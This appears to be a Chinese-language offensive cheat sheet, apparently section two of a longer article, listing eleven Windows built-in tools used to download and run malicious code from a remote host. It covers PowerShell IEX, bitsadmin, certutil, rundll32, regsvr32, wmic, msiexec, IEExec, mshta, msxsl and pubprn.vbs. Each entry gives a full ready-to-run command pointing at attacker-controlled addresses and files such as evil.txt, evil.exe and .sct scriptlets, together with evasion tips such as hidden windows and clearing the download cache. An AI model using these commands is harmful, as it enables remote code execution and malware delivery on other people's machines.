通过命令下载执行恶意代码的几种姿势

二、Windows 远程恶意代码执行

01、Powershell

利用powershell远程执行ps1脚本。

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/evil.txt'))"

02、Bitsadmin

利用bitsadmin命令下载文件到目标机器。

bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt

03、certutil

用于备份证书服务，一般建议下载完文件后对缓存进行删除。

#下载文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
#删除缓存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete

04、rundll32

使用rundll32.exe，可以通过mshtml.dll执行JavaScript ，依赖于WScript.shell这个组件

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

05、regsvr32

远程加载执行，解析.src文件。

regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll

06、wmic

执行WMIC以下命令从远程服务器下载并运行恶意XSL文件：

wmic os get /FORMAT:"http://192.168.28.128/evil.xsl"

07、msiexec

用于安装Windows Installer安装包，可远程执行msi文件。

msiexec /q /i http://192.168.28.128/evil.msi

08、IEExec

IEexec.exe应用程序是.NET Framework附带程序，运行IEExec.exe并使用url启动其他程序。

crosoft.NET\Framework64\v2.0.50727>caspol.exe -s off
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe

09、mshta

mshta用于执行.hta文件

mshta http://192.168.28.128/run.hta

10、msxsl

msxsl.exe是微软用于命令行下处理XSL的一个程序

msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl

11、pubprn.vbs

在Windows 7以上版本存在一个名为pubprn.vbs的微软已签名WSH脚本，可以利用来解析.sct脚本：

"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct